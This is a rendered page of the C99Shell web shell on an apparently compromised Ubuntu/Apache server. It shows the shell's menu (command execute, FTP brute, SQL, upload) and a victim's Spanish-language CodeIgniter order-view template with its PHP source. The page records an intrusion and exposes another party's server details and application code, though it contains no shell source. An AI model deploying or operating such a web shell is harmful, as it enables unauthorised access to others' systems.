!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.4.18 (Ubuntu). PHP/7.0.33-0ubuntu0.16.04.16 

uname -a: Linux digifus 3.13.0-57-generic #95-Ubuntu SMP Fri Jun 19 09:28:15 UTC 2015 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/almazenServer/application/views/   drwxr-xr-x
Free 10.1 GB of 29.4 GB (34.37%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pedido_consulta_view.php (9.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<style>
#content {
margin: 0 auto;

width: auto;
height: auto;

}

#izquierda{
width:600px;
height:40px;
float: left;
}

#derecha{

float: right;
}

#th{
    border-left: 1px solid #3c8dbc;
}


.red {
    color: red; 
}

.black {
    color: black;
}
.select, textarea, input[type="text"], input[type="password"], input[type="datetime"], input[type="datetime-local"], input[type="date"], input[type="month"], input[type="time"], input[type="week"], input[type="number"], input[type="email"], input[type="url"], input[type="search"], input[type="tel"], input[type="color"], .uneditable-input {
    display: inline-block;
    height: 20px;
    padding: 4px 6px;
    margin-bottom: 10px;
    font-size: 24px;
    line-height: 20px;
    color: #555555;
    vertical-align: middle;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px;
    border-radius: 4px;
}

.row {
    display: -ms-flexbox;
    display: block;
    -ms-flex-wrap: wrap;
    flex-wrap: wrap;
    margin-right: -15px;
    margin-left: -15px;
}
</style>

<div class="content-wrapper" style="min-height: 946px;">
<div  style="margin-left:20px;">
  <section class="content-header">
    <h1>VISUALIZACION DE ITEMS</h1>
 </section>
   
    <!-- Main content -->
   <section class="content">
  <form method="post"  name="gestionPedido" class="form-horizontal">
<br>
<input type="hidden" name="numeroPedido" id="numeroPedido" value="<?php  echo ($nroPedido)?>" > </input>

  
         <div role="tabpanel" class="tab-pane estiloForm" id="productosCarrito">
         
         <div class="panel-group" id="accordion" role="tablist" aria-multiselectable="true">
          <div class="panel panel-default">
            <div class="panel-heading" role="tab" id="headingOne">
              <h4 class="panel-title">
                <a data-toggle="collapse" data-parent="#accordion" href="#collapseOne" aria-expanded="true" aria-controls="collapseOne">
                  <h1>REGISTRAR OBSERVACION</h1>
                </a>
              </h4>
            </div>
            <div id="collapseOne" class="panel-collapse collapse out" role="tabpanel" aria-labelledby="headingOne">
              <div class="panel-body">
                         <b>ESCRIBIR COMENTARIO: </b>&nbsp;<textarea class="form-control input-sm" style="margin: 0px; width: 1145px; height: 40px;" type="text" name="observacion" id="observacion" ><?php  echo ($datosPedido[0]->observacion);?></textarea>
                         <br>  <br> 
                        <div class="col-md-12" align="right">
                           <input class="btn btn-default" type="button" name="observ" id="observ" value="REGISTRAR COMENTARIO" onclick="registraComentario();">
                   </div>
                </div>
              </div>
            </div>

             <h1>PRODUCTOS AGREGADOS AL CARRITO</h1>
            <div id="tablaPrincipal3" width="60%">
            <?php
                $array
=array();
                
$subtotal1=0;
                
$total=0;
                
$iva=0;
                
$totalNeto=0;
                
$cantidadItems=0;
                
$descuento=0;
                if(
$datosPedido[0]->descuento != null){
                    
$descuento=$datosPedido[0]->descuento;
                }
                
                
$this->table->set_heading('Chequeo','Producto''Descripcion''Cantidad'); //crea la primera fila de la tabla con el encabezado
                
$tmp = array ( 'table_open'  => '<table class="table table-bordered table-striped" border="0" cellpadding="2" cellspacing="1" id="detalleTabla" width="100%">' );
                
$this->table->set_template($tmp);
            
                if(
$nroPedido != NULL){

                    
$detallesPedido=$this->consultas_model->getDetallesPedidoById($nroPedido);
                    if(
$detallesPedido !=null){
                          foreach(
$detallesPedido as $file):
                              
$cantidadProdTabla=$cantidadProdTabla+1;
                            
$this->table->add_row('<input type="checkbox" name="seleccionar">',$file->nombre,$file->descripcion,$file->cantidad,$file->precio_venta); //agregamos la celda a la tabla por cada iteracion
                            
$cantidadItems +=$file->cantidad;
                            
$valorParcialSinDesc=round($file->cantidad*$file->precio_venta,2);
                            
$subtotal1 += $valorParcialSinDesc;
                            
$valorParcial=($valorParcialSinDesc - ($valorParcialSinDesc*$descuento/100));
                            
$totalNeto +=round($valorParcial,2);
                          endforeach;
                          
$iva =round($totalNeto*0.21,2);
                          
$total=round($totalNeto+$iva,2);
    
                      }
                      echo 
$this->table->generate();
                }
                
?>
            </div>
        <div class="col-md-12 form-inline" align="right">
            <b>PRODUCTOS AGREGADOS (CANT TOTALES):</b>&nbsp;  
                 <input type="text" style="font-family: Arial; font-size: 16pt;height: 40px;" name="cantidadRegistros" id="cantidadRegistros" value="<?php echo ($cantidadItems);?>" readonly> 
                    &nbsp; &nbsp; &nbsp;
                 <label><b> Sub:     $</b></label><input type="text"  style="font-family: Arial; font-size: 16pt;height: 40px;" name="subtotal" id="subtotal" value="<?php echo ($subtotal1);?>"readonly>  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
                            <label><b> Sub C/DESCUENTO:     $</b></label><input type="text" name="totalAlternativo" style="font-family: Arial; font-size: 16pt;height: 40px;" id="totalAlternativo" value="<?php echo ($totalNeto);?>"readonly> 
           
             <br><br>
             </div>
            <div class="col-md-12 form-inline" align="right">
                    <label><b>Descuento:</b></label>
                    <select name="comboDescuentos" id="comboDescuentos"  class="form-control">
                    <option><?php if($datosPedido[0]->descuento !=null) echo($datosPedido[0]->descuento ."%"); ?></option>
                                        <option></option>
                   <?php $respuestaCombo=$this->consultas_model->getDescuentos(); foreach($respuestaCombo as $file):?>
                         <option><?= $file ?>%</option>
                    <?php endforeach;?>
                    </select>

             &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
               <br>       
              <label><b>IVA:     $</b></label><input type="text" style="font-family: Arial; font-size: 16pt;height: 40px;"name="iva" id="iva" value="<?php echo ($iva);?>" readonly> 
               &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 
              <label><b>TOTAL:    $</b></label><input type="text" style="font-family: Arial; font-size: 16pt;height: 40px;" name="totalfinal" id="totalfinal" value="<?php echo ($total);?>"readonly> 
         </div>

               <input type="hidden" name="cantidadRegistros" id="cantidadRegistros" value="<?php echo ($cantidadProdTabla);?>"> 
               <input type="hidden" name="descuentoBase" id="descuentoBase" value="<?php echo ($datosPedido[0]->descuento);?>"> 
               
         <input type="hidden" name="vieneDentro" id="vieneDentro" value=""> </input>
    </div>
                   <br> <br>
             </div>

               <div class="col-md-12" align="center">
                    <input class="btn btn-large btn-lg" type="button" value="Volver" onclick="volver();">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                       <input class="btn btn-primary btn-large" type="button" name="guardar" id="guardar" value="GUARDAR" onclick="guardarPedido();">
               </div>

    </form>

 
  
</section><!-- /.content -->
</div><!-- /.content-wrapper -->
 
    <script type="text/javascript">

    function volver(){
          location.href='<?php echo base_url()?>pedido/pedidosPendientesEntrega';
    }
    
    function registraComentario() {
          comentario=document.getElementById('observacion').value;
          nroPedido=document.getElementById('numeroPedido').value;
            $.ajax({
                 type: 'POST',
                 url: '<?php echo site_url("pedido/registrarComentario");?>',
                 data: {comentario:comentario,nroPedido:nroPedido},
                 success:function(data){
                    alert("Comentario Registrado");
                 }
                 });
    }

         
     function guardarPedido(){
            var r=confirm("Desea guardar el Pedido Creado?");
            if (r == true) {
                numeroPedido=document.getElementById("numeroPedido").value;
                total=document.getElementById('totalfinal').value;
                subtotal=document.getElementById('subtotal').value;
                cliente=document.getElementById("id_cliente").value;
                vendedor=document.getElementById("comboVendedor").value;
                if(total != '0'){
                    if(cliente != ''){
                        if(numeroPedido != ""){
                            location.href='<?php echo base_url()?>pedido/guardarPedido?nroPedido='+numeroPedido+'&total='+total+'&vendedor='+vendedor+'&subTotal='+subtotal;
                        }
                    }
                    else{
                        alert('Ingrese un Cliente');
                        }
                }
                else{
                    alert('Ingrese Productos al pedido');
                    }
            }
        }

       document.onkeydown = function(){ 
            if (window.event && (window.event.keyCode == 8)) 
            { 
            valor = document.activeElement.value; 
            if (valor==undefined) { return false; } //Evita Back en página. 
            else 
            { 
            if (document.activeElement.getAttribute('type')=='sel ect-one') 
            { return false; } //Evita Back en select. 
            if (document.activeElement.getAttribute('type')=='but ton') 
            { return false; } //Evita Back en button. 
            if (document.activeElement.getAttribute('type')=='rad io') 
            { return false; } //Evita Back en radio. 
            if (document.activeElement.getAttribute('type')=='che ckbox') 
            { return false; } //Evita Back en checkbox. 
            if (document.activeElement.getAttribute('type')=='fil e') 
            { return false; } //Evita Back en file. 
            if (document.activeElement.getAttribute('type')=='res et') 
            { return false; } //Evita Back en reset. 
            if (document.activeElement.getAttribute('type')=='sub mit') 
            { return false; } //Evita Back en submit. 
            else //Text, textarea o password 
            { 
            if (document.activeElement.value.length==0) 
            { return false; } //No realiza el backspace(largo igual a 0). 
            else 
            { document.activeElement.value.keyCode = 8; } //Realiza el backspace. 
            } 
            } 
            
            }
        if(window.event && window.event.keyCode == 505){ 
             window.event.keyCode = 505; 
        } 
       }
    </script>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.006 ]--